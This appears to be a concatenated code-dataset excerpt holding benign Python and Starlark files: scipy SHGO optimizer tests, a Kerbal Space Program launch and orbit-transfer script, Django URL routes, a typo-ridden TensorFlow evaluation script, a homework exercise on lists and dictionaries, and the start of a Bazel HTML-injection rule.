*args):\n self.N = args[0]\n k = int(self.N / 3)\n s = 0.0\n\n for i in range(k - 1):\n for j in range(i + 1, k):\n a = 3 * i\n b = 3 * j\n xd = x[a] - x[b]\n yd = x[a + 1] - x[b + 1]\n zd = x[a + 2] - x[b + 2]\n ed = xd * xd + yd * yd + zd * zd\n ud = ed * ed * ed\n if ed > 0.0:\n s += (1.0 / ud - 2.0) / ud\n\n return s\n\n g = None\n cons = wrap_constraints(g)\n\n\nN = 6\nboundsLJ = list(zip([-4.0] * 6, [4.0] * 6))\n\ntestLJ = StructTestLJ(bounds=boundsLJ,\n expected_fun=[-1.0],\n expected_x=[-2.71247337e-08,\n -2.71247337e-08,\n -2.50000222e+00,\n -2.71247337e-08,\n -2.71247337e-08,\n -1.50000222e+00]\n )\n\n\nclass StructTestTable(StructTestFunction):\n def f(self, x):\n if x[0] == 3.0 and x[1] == 3.0:\n return 50\n else:\n return 100\n\n g = None\n cons = wrap_constraints(g)\n\n\ntest_table = StructTestTable(bounds=[(-10, 10), (-10, 10)],\n expected_fun=[50],\n expected_x=[3.0, 3.0])\n\n\nclass StructTestInfeasible(StructTestFunction):\n \"\"\"\n Test function with no feasible domain.\n \"\"\"\n\n def f(self, x, *args):\n return x[0] ** 2 + x[1] ** 2\n\n def g1(x):\n return x[0] + x[1] - 1\n\n def g2(x):\n return -(x[0] + x[1] - 1)\n\n def g3(x):\n return -x[0] + x[1] - 1\n\n def g4(x):\n return -(-x[0] + x[1] - 1)\n\n g = (g1, g2, g3, g4)\n cons = wrap_constraints(g)\n\n\ntest_infeasible = StructTestInfeasible(bounds=[(2, 50), (-1, 1)],\n expected_fun=None,\n expected_x=None\n )\n\n\ndef run_test(test, args=(), test_atol=1e-5, n=128, iters=None,\n callback=None, minimizer_kwargs=None, options=None,\n sampling_method='sobol'):\n res = shgo(test.f, test.bounds, args=args, constraints=test.cons,\n n=n, iters=iters, callback=callback,\n minimizer_kwargs=minimizer_kwargs, options=options,\n sampling_method=sampling_method)\n\n logging.info(res)\n\n if test.expected_x is not None:\n numpy.testing.assert_allclose(res.x, test.expected_x,\n rtol=test_atol,\n atol=test_atol)\n\n # (Optional tests)\n if test.expected_fun is not None:\n numpy.testing.assert_allclose(res.fun,\n test.expected_fun,\n atol=test_atol)\n\n if test.expected_xl is not None:\n numpy.testing.assert_allclose(res.xl,\n test.expected_xl,\n atol=test_atol)\n\n if test.expected_funl is not None:\n numpy.testing.assert_allclose(res.funl,\n test.expected_funl,\n atol=test_atol)\n return\n\n\n# Base test functions:\nclass TestShgoSobolTestFunctions:\n \"\"\"\n Global optimization tests with Sobol sampling:\n \"\"\"\n\n # Sobol algorithm\n def test_f1_1_sobol(self):\n \"\"\"Multivariate test function 1:\n x[0]**2 + x[1]**2 with bounds=[(-1, 6), (-1, 6)]\"\"\"\n run_test(test1_1)\n\n def test_f1_2_sobol(self):\n \"\"\"Multivariate test function 1:\n x[0]**2 + x[1]**2 with bounds=[(0, 1), (0, 1)]\"\"\"\n run_test(test1_2)\n\n def test_f1_3_sobol(self):\n \"\"\"Multivariate test function 1:\n x[0]**2 + x[1]**2 with bounds=[(None, None),(None, None)]\"\"\"\n run_test(test1_3)\n\n def test_f2_1_sobol(self):\n \"\"\"Univariate test function on\n f(x) = (x - 30) * sin(x) with bounds=[(0, 60)]\"\"\"\n run_test(test2_1)\n\n def test_f2_2_sobol(self):\n \"\"\"Univariate test function on\n f(x) = (x - 30) * sin(x) bounds=[(0, 4.5)]\"\"\"\n run_test(test2_2)\n\n def test_f3_sobol(self):\n \"\"\"NLP: Hock and Schittkowski problem 18\"\"\"\n run_test(test3_1)\n\n @pytest.mark.slow\n def test_f4_sobol(self):\n \"\"\"NLP: (High-dimensional) Hock and Schittkowski 11 problem (HS11)\"\"\"\n # run_test(test4_1, n=500)\n # run_test(test4_1, n=800)\n options = {'infty_constraints': False}\n run_test(test4_1, n=2048, options=options)\n\n def test_f5_1_sobol(self):\n \"\"\"NLP: Eggholder, multimodal\"\"\"\n run_test(test5_1, n=64)\n\n def test_f5_2_sobol(self):\n \"\"\"NLP: Eggholder, multimodal\"\"\"\n # run_test(test5_1, n=60, iters=5)\n run_test(test5_1, n=128, iters=5)\n\n # def test_t911(self):\n # \"\"\"1-D tabletop function\"\"\"\n # run_test(test11_1)\n\n\nclass TestShgoSimplicialTestFunctions:\n \"\"\"\n Global optimization tests with Simplicial sampling:\n \"\"\"\n\n def test_f1_1_simplicial(self):\n \"\"\"Multivariate test function 1:\n x[0]**2 + x[1]**2 with bounds=[(-1, 6), (-1, 6)]\"\"\"\n run_test(test1_1, n=1, sampling_method='simplicial')\n\n def test_f1_2_simplicial(self):\n \"\"\"Multivariate test function 1:\n x[0]**2 + x[1]**2 with bounds=[(0, 1), (0, 1)]\"\"\"\n run_test(test1_2, n=1, sampling_method='simplicial')\n\n def test_f1_3_simplicial(self):\n \"\"\"Multivariate test function 1: x[0]**2 + x[1]**2\n with bounds=[(None, None),(None, None)]\"\"\"\n run_test(test1_3, n=1, sampling_method='simplicial')\n\n def test_f2_1_simplicial(self):\n \"\"\"Univariate test function on\n f(x) = (x - 30) * sin(x) with bounds=[(0, 60)]\"\"\"\n options = {'minimize_every_iter': False}\n run_test(test2_1, iters=7, options=options,\n sampling_method='simplicial')\n\n def test_f2_2_simplicial(self):\n \"\"\"Univariate test function on\n f(x) = (x - 30) * sin(x) bounds=[(0, 4.5)]\"\"\"\n run_test(test2_2, n=1, sampling_method='simplicial')\n\n def test_f3_simplicial(self):\n \"\"\"NLP: Hock and Schittkowski problem 18\"\"\"\n run_test(test3_1, n=1, sampling_method='simplicial')\n\n @pytest.mark.slow\n def test_f4_simplicial(self):\n \"\"\"NLP: (High-dimensional) Hock and Schittkowski 11 problem (HS11)\"\"\"\n run_test(test4_1, n=1, sampling_method='simplicial')\n\n def test_lj_symmetry(self):\n \"\"\"LJ: Symmetry-constrained test function\"\"\"\n options = {'symmetry': True,\n 'disp': True}\n args = (6,) # Number of atoms\n run_test(testLJ, args=args, n=None,\n options=options, iters=4,\n sampling_method='simplicial')\n\n\n# Argument test functions\nclass TestShgoArguments:\n def test_1_1_simpl_iter(self):\n \"\"\"Iterative simplicial sampling on TestFunction 1 (multivariate)\"\"\"\n run_test(test1_2, n=None, iters=2, sampling_method='simplicial')\n\n def test_1_2_simpl_iter(self):\n \"\"\"Iterative simplicial on TestFunction 2 (univariate)\"\"\"\n options = {'minimize_every_iter': False}\n run_test(test2_1, n=None, iters=7, options=options,\n sampling_method='simplicial')\n\n def test_2_1_sobol_iter(self):\n \"\"\"Iterative Sobol sampling on TestFunction 1 (multivariate)\"\"\"\n run_test(test1_2, n=None, iters=1, sampling_method='sobol')\n\n def test_2_2_sobol_iter(self):\n \"\"\"Iterative Sobol sampling on TestFunction 2 (univariate)\"\"\"\n res = shgo(test2_1.f, test2_1.bounds, constraints=test2_1.cons,\n n=None, iters=1, sampling_method='sobol')\n\n numpy.testing.assert_allclose(res.x, test2_1.expected_x, rtol=1e-5,\n atol=1e-5)\n numpy.testing.assert_allclose(res.fun, test2_1.expected_fun, atol=1e-5)\n\n def test_3_1_disp_simplicial(self):\n \"\"\"Iterative sampling on TestFunction 1 and 2 (multi- and univariate)\"\"\"\n\n def callback_func(x):\n print(\"Local minimization callback test\")\n\n for test in [test1_1, test2_1]:\n shgo(test.f, test.bounds, iters=1,\n sampling_method='simplicial',\n callback=callback_func, options={'disp': True})\n shgo(test.f, test.bounds, n=1, sampling_method='simplicial',\n callback=callback_func, options={'disp': True})\n\n def test_3_2_disp_sobol(self):\n \"\"\"Iterative sampling on TestFunction 1 and 2 (multi- and univariate)\"\"\"\n\n def callback_func(x):\n print(\"Local minimization callback test\")\n\n for test in [test1_1, test2_1]:\n shgo(test.f, test.bounds, iters=1, sampling_method='sobol',\n callback=callback_func, options={'disp': True})\n\n shgo(test.f, test.bounds, n=1, sampling_method='simplicial',\n callback=callback_func, options={'disp': True})\n\n @pytest.mark.slow\n def test_4_1_known_f_min(self):\n \"\"\"Test known function minima stopping criteria\"\"\"\n # Specify known function value\n options = {'f_min': test4_1.expected_fun,\n 'f_tol': 1e-6,\n 'minimize_every_iter': True}\n # TODO: Make default n higher for faster tests\n run_test(test4_1, n=None, test_atol=1e-5, options=options,\n sampling_method='simplicial')\n\n @pytest.mark.slow\n def test_4_2_known_f_min(self):\n \"\"\"Test Global mode limiting local evalutions\"\"\"\n options = { # Specify known function value\n 'f_min': test4_1.expected_fun,\n 'f_tol': 1e-6,\n # Specify number of local iterations to perform\n 'minimize_every_iter': True,\n 'local_iter': 1}\n\n run_test(test4_1, n=None, test_atol=1e-5, options=options,\n sampling_method='simplicial')\n\n @pytest.mark.slow\n def test_4_3_known_f_min(self):\n \"\"\"Test Global mode limiting local evalutions\"\"\"\n options = { # Specify known function value\n 'f_min': test4_1.expected_fun,\n 'f_tol': 1e-6,\n # Specify number of local iterations to perform+\n 'minimize_every_iter': True,\n 'local_iter': 1,\n 'infty_constraints': False}\n\n run_test(test4_1, n=1024, test_atol=1e-5, options=options,\n sampling_method='sobol')\n\n def test_4_4_known_f_min(self):\n \"\"\"Test Global mode limiting local evalutions for 1-D functions\"\"\"\n options = { # Specify known function value\n 'f_min': test2_1.expected_fun,\n 'f_tol': 1e-6,\n # Specify number of local iterations to perform+\n 'minimize_every_iter': True,\n 'local_iter': 1,\n 'infty_constraints': False}\n\n res = shgo(test2_1.f, test2_1.bounds, constraints=test2_1.cons,\n n=None, iters=None, options=options,\n sampling_method='sobol')\n numpy.testing.assert_allclose(res.x, test2_1.expected_x, rtol=1e-5,\n atol=1e-5)\n\n def test_5_1_simplicial_argless(self):\n \"\"\"Test Default simplicial sampling settings on TestFunction 1\"\"\"\n res = shgo(test1_1.f, test1_1.bounds, constraints=test1_1.cons)\n numpy.testing.assert_allclose(res.x, test1_1.expected_x, rtol=1e-5,\n atol=1e-5)\n\n def test_5_2_sobol_argless(self):\n \"\"\"Test Default sobol sampling settings on TestFunction 1\"\"\"\n res = shgo(test1_1.f, test1_1.bounds, constraints=test1_1.cons,\n sampling_method='sobol')\n numpy.testing.assert_allclose(res.x, test1_1.expected_x, rtol=1e-5,\n atol=1e-5)\n\n def test_6_1_simplicial_max_iter(self):\n \"\"\"Test that maximum iteration option works on TestFunction 3\"\"\"\n options = {'max_iter': 2}\n res = shgo(test3_1.f, test3_1.bounds, constraints=test3_1.cons,\n options=options, sampling_method='simplicial')\n numpy.testing.assert_allclose(res.x, test3_1.expected_x, rtol=1e-5,\n atol=1e-5)\n numpy.testing.assert_allclose(res.fun, test3_1.expected_fun, atol=1e-5)\n\n def test_6_2_simplicial_min_iter(self):\n \"\"\"Test that maximum iteration option works on TestFunction 3\"\"\"\n options = {'min_iter': 2}\n res = shgo(test3_1.f, test3_1.bounds, constraints=test3_1.cons,\n options=options, sampling_method='simplicial')\n numpy.testing.assert_allclose(res.x, test3_1.expected_x, rtol=1e-5,\n atol=1e-5)\n numpy.testing.assert_allclose(res.fun, test3_1.expected_fun, atol=1e-5)\n\n def test_7_1_minkwargs(self):\n \"\"\"Test the minimizer_kwargs arguments for solvers with constraints\"\"\"\n # Test solvers\n for solver in ['COBYLA', 'SLSQP']:\n # Note that passing global constraints to SLSQP is tested in other\n # unittests which run test4_1 normally\n minimizer_kwargs = {'method': solver,\n 'constraints': test3_1.cons}\n print(\"Solver = {}\".format(solver))\n print(\"=\" * 100)\n run_test(test3_1, n=128, test_atol=1e-3,\n minimizer_kwargs=minimizer_kwargs, sampling_method='sobol')\n\n def test_7_2_minkwargs(self):\n \"\"\"Test the minimizer_kwargs default inits\"\"\"\n minimizer_kwargs = {'ftol': 1e-5}\n options = {'disp': True} # For coverage purposes\n SHGO(test3_1.f, test3_1.bounds, constraints=test3_1.cons[0],\n minimizer_kwargs=minimizer_kwargs, options=options)\n\n def test_7_3_minkwargs(self):\n \"\"\"Test minimizer_kwargs arguments for solvers without constraints\"\"\"\n for solver in ['Nelder-Mead', 'Powell', 'CG', 'BFGS', 'Newton-CG',\n 'L-BFGS-B', 'TNC', 'dogleg', 'trust-ncg', 'trust-exact',\n 'trust-krylov']:\n def jac(x):\n return numpy.array([2 * x[0], 2 * x[1]]).T\n\n def hess(x):\n return numpy.array([[2, 0], [0, 2]])\n\n minimizer_kwargs = {'method': solver,\n 'jac': jac,\n 'hess': hess}\n logging.info(\"Solver = {}\".format(solver))\n logging.info(\"=\" * 100)\n run_test(test1_1, n=128, test_atol=1e-3,\n minimizer_kwargs=minimizer_kwargs, sampling_method='sobol')\n\n def test_8_homology_group_diff(self):\n options = {'minhgrd': 1,\n 'minimize_every_iter': True}\n\n run_test(test1_1, n=None, iters=None, options=options,\n sampling_method='simplicial')\n\n def test_9_cons_g(self):\n \"\"\"Test single function constraint passing\"\"\"\n SHGO(test3_1.f, test3_1.bounds, constraints=test3_1.cons[0])\n\n def test_10_finite_time(self):\n \"\"\"Test single function constraint passing\"\"\"\n options = {'maxtime': 1e-15}\n shgo(test1_1.f, test1_1.bounds, n=1, iters=None,\n options=options, sampling_method='sobol')\n\n def test_11_f_min_time(self):\n \"\"\"Test to cover the case where f_lowest == 0\"\"\"\n options = {'maxtime': 1e-15,\n 'f_min': 0.0}\n shgo(test1_2.f, test1_2.bounds, n=1, iters=None,\n options=options, sampling_method='sobol')\n\n def test_12_sobol_inf_cons(self):\n \"\"\"Test to cover the case where f_lowest == 0\"\"\"\n options = {'maxtime': 1e-15,\n 'f_min': 0.0}\n shgo(test1_2.f, test1_2.bounds, n=1, iters=None,\n options=options, sampling_method='sobol')\n\n def test_14_local_iter(self):\n \"\"\"Test limited local iterations for a pseudo-global mode\"\"\"\n options = {'local_iter': 4}\n run_test(test5_1, n=64, options=options)\n\n def test_15_min_every_iter(self):\n \"\"\"Test minimize every iter options and cover function cache\"\"\"\n options = {'minimize_every_iter': True}\n run_test(test1_1, n=1, iters=7, options=options,\n sampling_method='sobol')\n\n def test_16_disp_bounds_minimizer(self):\n \"\"\"Test disp=True with minimizers that do not support bounds \"\"\"\n options = {'disp': True}\n minimizer_kwargs = {'method': 'nelder-mead'}\n run_test(test1_2, sampling_method='simplicial',\n options=options, minimizer_kwargs=minimizer_kwargs)\n\n def test_17_custom_sampling(self):\n \"\"\"Test the functionality to add custom sampling methods to shgo\"\"\"\n def sample(n, d):\n return numpy.random.uniform(size=(n,d))\n\n run_test(test1_1, n=30, sampling_method=sample)\n\n# Failure test functions\nclass TestShgoFailures:\n def test_1_maxiter(self):\n \"\"\"Test failure on insufficient iterations\"\"\"\n options = {'maxiter': 2}\n res = shgo(test4_1.f, test4_1.bounds, n=4, iters=None,\n options=options, sampling_method='sobol')\n\n numpy.testing.assert_equal(False, res.success)\n numpy.testing.assert_equal(4, res.nfev)\n\n def test_2_sampling(self):\n \"\"\"Rejection of unknown sampling method\"\"\"\n assert_raises(ValueError, shgo, test1_1.f, test1_1.bounds,\n sampling_method='not_Sobol')\n\n def test_3_1_no_min_pool_sobol(self):\n \"\"\"Check that the routine stops when no minimiser is found\n after maximum specified function evaluations\"\"\"\n options = {'maxfev': 10,\n 'disp': True}\n res = shgo(test_table.f, test_table.bounds, n=4, options=options,\n sampling_method='sobol')\n numpy.testing.assert_equal(False, res.success)\n\n numpy.testing.assert_equal(16, res.nfev)\n\n def test_3_2_no_min_pool_simplicial(self):\n \"\"\"Check that the routine stops when no minimiser is found\n after maximum specified sampling evaluations\"\"\"\n options = {'maxev': 10,\n 'disp': True}\n res = shgo(test_table.f, test_table.bounds, n=3, options=options,\n sampling_method='simplicial')\n numpy.testing.assert_equal(False, res.success)\n\n def test_4_1_bound_err(self):\n \"\"\"Specified bounds ub > lb\"\"\"\n bounds = [(6, 3), (3, 5)]\n assert_raises(ValueError, shgo, test1_1.f, bounds)\n\n def test_4_2_bound_err(self):\n \"\"\"Specified bounds are of the form (lb, ub)\"\"\"\n bounds = [(3, 5, 5), (3, 5)]\n assert_raises(ValueError, shgo, test1_1.f, bounds)\n\n def test_5_1_1_infeasible_sobol(self):\n \"\"\"Ensures the algorithm terminates on infeasible problems\n after maxev is exceeded. Use infty constraints option\"\"\"\n options = {'maxev': 64,\n 'disp': True}\n\n res = shgo(test_infeasible.f, test_infeasible.bounds,\n constraints=test_infeasible.cons, n=64, options=options,\n sampling_method='sobol')\n\n numpy.testing.assert_equal(False, res.success)\n\n def test_5_1_2_infeasible_sobol(self):\n \"\"\"Ensures the algorithm terminates on infeasible problems\n after maxev is exceeded. Do not use infty constraints option\"\"\"\n options = {'maxev': 64,\n 'disp': True,\n 'infty_constraints': False}\n\n res = shgo(test_infeasible.f, test_infeasible.bounds,\n constraints=test_infeasible.cons, n=64, options=options,\n sampling_method='sobol')\n\n numpy.testing.assert_equal(False, res.success)\n\n def test_5_2_infeasible_simplicial(self):\n \"\"\"Ensures the algorithm terminates on infeasible problems\n after maxev is exceeded.\"\"\"\n options = {'maxev': 1000,\n 'disp': False}\n\n res = shgo(test_infeasible.f, test_infeasible.bounds,\n constraints=test_infeasible.cons, n=100, options=options,\n sampling_method='simplicial')\n\n numpy.testing.assert_equal(False, res.success)\n\n def test_6_1_lower_known_f_min(self):\n \"\"\"Test Global mode limiting local evalutions with f* too high\"\"\"\n options = { # Specify known function value\n 'f_min': test2_1.expected_fun + 2.0,\n 'f_tol': 1e-6,\n # Specify number of local iterations to perform+\n 'minimize_every_iter': True,\n 'local_iter': 1,\n 'infty_constraints': False}\n args = (test2_1.f, test2_1.bounds)\n kwargs = {'constraints': test2_1.cons,\n 'n': None,\n 'iters': None,\n 'options': options,\n 'sampling_method': 'sobol'\n }\n warns(UserWarning, shgo, *args, **kwargs)\n","sub_path":"contrib/python/scipy/py3/scipy/optimize/tests/test__shgo.py","file_name":"test__shgo.py","file_ext":"py","file_size_in_byte":26790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"402440800","text":"import time\n# import numpy as np\nfrom UI import UI\nfrom Orbit_Manager import OrbitManager\n\n\nclass LaunchControl(UI):\n def __init__(self):\n super().__init__()\n\n # self.mode = \"Testing\"\n self.mode = \"Launch Prep\"\n self.camera.mode = self.CameraMode.free\n self.falafels = True\n self.boosters = True\n\n def launch(self):\n # -#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#\n # L A U N C H #\n # P R O G R A M #\n # -#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#\n\n self.ap.engage()\n ui = UI()\n\n while self.mode == \"Launch Prep\":\n if self.control.get_action_group(9):\n self.control.throttle = 1\n self.control.activate_next_stage()\n self.mode = \"Launch\"\n time.sleep(1)\n\n while self.mode != \"Orbit\":\n self.pitch_and_heading()\n\n if self.boosters:\n if self.named_flameout(\"FASADeltaCastorSrb\"):\n self.control.activate_next_stage()\n time.sleep(1.5)\n self.boosters = False\n\n if self.mode == \"Testing\":\n self.list_parts(self.engines)\n self.mode = \"Orbit\"\n\n if self.mode == \"Launch\":\n _twr = self.twr_calc(self.thrust(), self.mass(), self.altitude(), self.radius_eq, self.mu)\n if _twr > 1:\n self.lAz_data = self.azimuth_init()\n self.control.activate_next_stage()\n self.mode = \"Booster Stage\"\n\n if self.mode == \"Booster Stage\":\n\n if (self.altitude() > 80000) and (self.falafels is True):\n self.control.activate_next_stage()\n self.falafels = False\n\n if self.named_flameout(\"R7.Core.Engine\"):\n self.control.throttle = 0\n time.sleep(1.5)\n self.control.activate_next_stage()\n self.mode = \"Upper Stage\"\n\n if self.mode == \"Upper Stage\":\n\n if self.eng_status(self.get_active_engine(), \"Status\") == \"Flame-Out!\":\n self.control.throttle = 0\n time.sleep(1.5)\n self.control.activate_next_stage()\n self.control.rcs = True\n self.mode = \"Cruise\"\n\n if self.mode == \"Cruise\":\n if self.time_to_burn(self.ETA_ap(), self.maneuver_burn_time(self.circ_dv())) < 5:\n self.ullage_rcs()\n self.mode = \"Orbit Insertion\"\n\n if self.mode == \"Orbit Insertion\":\n self.control.rcs = False\n if (self.circ_dv() < 10) or (self.orbital_period(self.parking_orbit_alt + self.radius_eq,\n self.mu) < self.period()):\n self.control.throttle = 0\n self.mode = \"Orbit\"\n\n if self.circ_dv() > 500: time.sleep(.1)\n\n ui.gravity_turn(self.mode)\n\n ui.remove_ui()\n self.control.rcs = True\n self.ap.disengage()\n self.control.sas = True\n time.sleep(2)\n\n\nclass HohmannTransfer(OrbitManager):\n def __init__(self):\n super().__init__()\n\n self.mode = \"LEO\"\n # self.mode = \"Testing\"\n self.hoh_xfer = []\n self.camera.mode = self.CameraMode.free\n\n def transfer(self):\n # -#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#\n # H O H M A N N #\n # T R A N S F E R #\n # -#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#\n\n self.control.rcs = True\n self.control.throttle = 0\n time.sleep(1)\n self.ap.reference_frame = self.vessel.orbital_reference_frame\n self.ap.target_direction = (0, 1, 0)\n self.ap.engage()\n print(self.mode)\n ui = UI()\n\n while self.mode != \"Xfered\":\n\n if self.mode == \"LEO\":\n _hoh_xfer_dv = self.transfer_injection_dv(self.mu, self.semi_major_axis(), self.target_orbit_radius)\n _time_to_burn = self.time_to_burn(self.ETA_pe(), self.maneuver_burn_time(_hoh_xfer_dv))\n\n if _time_to_burn > 60: self.KSC.warp_to(self.ut() + _time_to_burn - 45)\n elif _time_to_burn < 3: self.ullage_rcs(); self.mode = \"Xfer Burn\"\n\n if self.mode == \"Xfer Burn\":\n self.control.rcs = False\n if self.apoapsis_radius() > self.target_orbit_radius:\n self.control.throttle = 0\n time.sleep(1)\n self.mode = \"Xfer Cruise\"\n\n if self.mode == \"Xfer Cruise\":\n self.control.rcs = True\n _time_to_final_burn = self.time_to_burn(self.ETA_ap(), self.maneuver_burn_time(self.circ_dv()))\n if _time_to_final_burn > 60: self.KSC.warp_to(self.ut() + _time_to_final_burn - 45)\n elif _time_to_final_burn < 3:\n self.ullage_rcs()\n self.mode = \"Final Burn\"\n\n if self.mode == \"Final Burn\":\n self.control.rcs = False\n if (self.circ_dv() < 10) or (self.orbital_period(self.target_orbit_radius, self.mu) < self.period()):\n self.control.throttle = 0\n time.sleep(1)\n self.mode = \"Xfered\"\n\n time.sleep(.05)\n ui.transfer(self.mode)\n\n print(\"Done\")\n\n\ndef main():\n LaunchControl().launch()\n HohmannTransfer().transfer()\n\n\nmain()\n","sub_path":"Hohmann_Transfer/Hohmann_Transfer.py","file_name":"Hohmann_Transfer.py","file_ext":"py","file_size_in_byte":5651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"277989676","text":"from django.urls import path\n\nfrom . import views\n\n\nurlpatterns = [\n path('', views.links, name='links'),\n path('addLink', views.addLink, name='addLink'),\n path('deleteLink/', views.delLink, name=\"delLink\"),\n path('searchLink', views.searckLink, name=\"searchLink\")\n]\n","sub_path":"weblinks/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"469170495","text":"#------------------------------\n# \n# written by zfy 12-07-2018\n#------------------------------\n\n#--imports---------------------\nimport tensorflow as tf\nfrom dataset_maintainer import get_set\nfrom BPinference import inference\nfrom time import time\nfrom os import system\nfrom BP import *\n\n#--variables-------------------\nEVAL_INTERVAL_SECS = 20\n\n#--evaluation\ndef evaluation():\n testset = get_set('validate')\n INPUT_NODE = len(testset[0][0])\n OUTPUT_NODE = len(testset[0][1])\n\n with tf.Graph().as_default() as g:\n x = tf.placeholder(tf.float32, [None, INPUT_NODE], name = 'x-input')\n y_ = tf.placeholder(tf.float32, [None, OUTPUT_NODE], name = 'y-input')\n \n y = inference(x, None, )\n \n correct_prediction = tf.equal(tf.argmax(y, 1), tf.aargmax(y_, 1))\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\n variable_averages = tf.train.ExponentialMovingAverage(MOVING_AVERAGE_DECAY)\n variables_to_restore = variable_averages.variables_to_restore()\n saver = tf.train.Saver(variables_to_restore)\n\n while True:\n with tf.Session() as sess:\n ckpt = tf.train.get_checkpoitn_state(MODEL_SAVE_PATH)\n if ckpt and ckpt.modle_checkpoint_path:\n saver.restore(sess, ckpt.model_checkpoint_path)\n global_step = ckpt.model_checkpoint_path.split('/')[-1].splite('-')[-1]\n accuracy_score = sess.run(accuracy, feed_dict = {x: [a[0] for a in testset], y_: [a[1] for a in testset]})\n print(\"After {} training step, accuracy = {}\".format(global_step, accuracy_score))\n \n\n return None","sub_path":"tools/BPeval.py","file_name":"BPeval.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"245511580","text":"#Simon Schmid\n#2017-05-24\n#Homework 2, Part 2\n\n#DICTIONARIES\n\n#1) Make a list called \"countries\" - it should contain seven different countries and NOT be in alphabetical order\ncountries = ['USA', 'Switzerland', 'France', 'Mexico', 'Germany']\n\n#2) Using a for loop, print each element of the list\nfor country in countries:\n print (country)\n\n#3) Sort the list permanently.\ncountries.sort()\n\n#4) Display the first element of the list.\nprint (countries[0])\n\n#5) Display the second-to-last element of the list.\nprint (countries[-2])\n\n#6) Delete one of the countries from the list using its name.\ncountries.remove('USA')\n\n#7) Using a for loop, print each country's name in all caps.\nfor country in countries:\n print (country.upper())\n\n#1) Make a dictionary called 'tree' that responds to 'name', 'species', 'age', 'location_name', 'latitude' and 'longitude'. Pick a tree from: https://en.wikipedia.org/wiki/List_of_trees\ntree = {\n 'name': \"Jaya Sri Maha Bodhi\",\n 'species': \"Sacred fig\",\n 'age': 2300,\n 'location_name': \"Anuradhapura, Sri Lanka\",\n 'latitude': 8.344722,\n 'longitude': 80.396667,\n}\n\n#2) Print the sentence \"{name} is a {years} year old tree that is in {location_name}\"\nprint (tree['name'], \"is a\", tree['age'], \" years old tree that is in\", tree['location_name'], \".\")\n\n#3) The coordinates of New York City are 40.7128° N, 74.0059° W. Check to see if the tree is south of NYC, and print \"The tree {name} in {location} is south of NYC\" if it is. If it isn't, print \"The tree {name} in {location} is north of NYC\"\nif tree['latitude'] > 40.7128:\n print (\"The tree\", tree['name'], \"in\", tree['location_name'], \"is north of NYC.\")\nelse:\n print (\"The tree\", tree['name'], \"in\", tree['location_name'], \"is south of NYC.\")\n\n#4) Ask the user how old they are. If they are older than the tree, display \"you are {XXX} years older than {name}.\" If they are younger than the tree, display \"{name} was {XXX} years old when you were born.\"\nuser_age = int(input(\"How old are you?\"))\nage_difference = user_age - tree['age']\nif age_difference >= 0:\n print (\"You are\", age_difference, \"years older than\", tree['name'])\nelse:\n print (tree['name'], \"was\", tree['age']-user_age, \"years old when you were born.\")\n\n#LIST OF DICTIONARIES\n\n#1) Make a list of dictionaries of five places across the world - (1) Moscow, (2) Tehran, (3) Falkland Islands, (4) Seoul, and (5) Santiago. Each dictionary should include each city's name and latitude/longitude (see note above).\nplaces = []\nplaces.append({'name': \"Moscow\", 'latitude': 55.755826, 'longitude': 37.617300})\nplaces.append({'name': \"Tehran\", 'latitude': 35.689197, 'longitude': 51.388974})\nplaces.append({'name': \"Falkland Islands\", 'latitude': -51.796253, 'longitude': -59.523613})\nplaces.append({'name': \"Seoul\", 'latitude': 37.566535, 'longitude': 126.977969})\nplaces.append({'name': \"Santiago\", 'latitude': -33.448890, 'longitude': -70.669265})\n\n#2) Loop through the list, printing each city's name and whether it is above or below the equator (How do you know? Think hard about the latitude.). When you get to the Falkland Islands, also display the message \"The Falkland Islands are a biogeographical part of the mild Antarctic zone,\" which is a sentence I stole from Wikipedia.\nfor place in places:\n if place['latitude'] >= 0: hemisphere = \"above\"\n else: hemisphere = \"below\"\n print (place['name'], \"is\", hemisphere, \"the equator.\")\n if place['name'] == 'Falkland Islands': print (\"The Falkland Islands are a biogeographical part of the mild Antarctic zone.\")\n\n#3) Loop through the list, printing whether each city is north of south of your tree from the previous section.\nfor place in places:\n if place['latitude'] >= tree['latitude']: hemisphere = \"above\"\n else: hemisphere = \"below\"\n print (place['name'], \"is\", hemisphere, \"the\", tree['name'], \".\")\n","sub_path":"class-02/homework-2-part2-schmid.py","file_name":"homework-2-part2-schmid.py","file_ext":"py","file_size_in_byte":3855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"503784784","text":"\"Inject script and link tags into html files\"\n\nload(\"@build_bazel_rules_nodejs//internal/pkg_web:pkg_web.bzl\", \"additional_root_paths\")\n\n_DOC = \"\"\"Inject script and link tags into html file\n\nThe file in `src` is copied to the output directory with the same filename,\nbut the contents are modified such that any `.js` files in the `assets` are\nreferenced with a `script` tag, and any `.css` files are referenced with a `link` tag.\n\"\"\"\n\n_ATTRS = {\n \"src\": attr.label(doc = \"html file\", allow_single_file = [\".html\"]),\n \"out\": attr.output(\n doc = \"Path to write the output. If not provided, src will be copied to the same path in the output tree\",\n ),\n \"additional_root_paths\": attr.string_list(\n doc = \"\"\"Path prefixes to strip off all assets, in addition to the current package. Longest wins.\"\"\",\n ),\n \"assets\": attr.label_list(\n allow_files = True,\n doc = \"\"\"Files which should be referenced from the output html\"\"\",\n ),\n \"injector\": attr.label(\n default = \"@npm//@bazel/inject-html/bin:injector\",\n executable = True,\n cfg = \"host\",\n ),\n}\n\ndef _impl(ctx):\n src = ctx.file.src\n\n if ctx.outputs.out:\n out = ctx.outputs.out\n else:\n # Unusual: we declare an output at the same path as the input\n # foo/index.html -> bazel-bin/foo/index.html\n out = ctx.actions.declare_file(src.basename, sibling = src)\n\n args = ctx.actions.args()\n args.add(out.path)\n args.add(src.path)\n 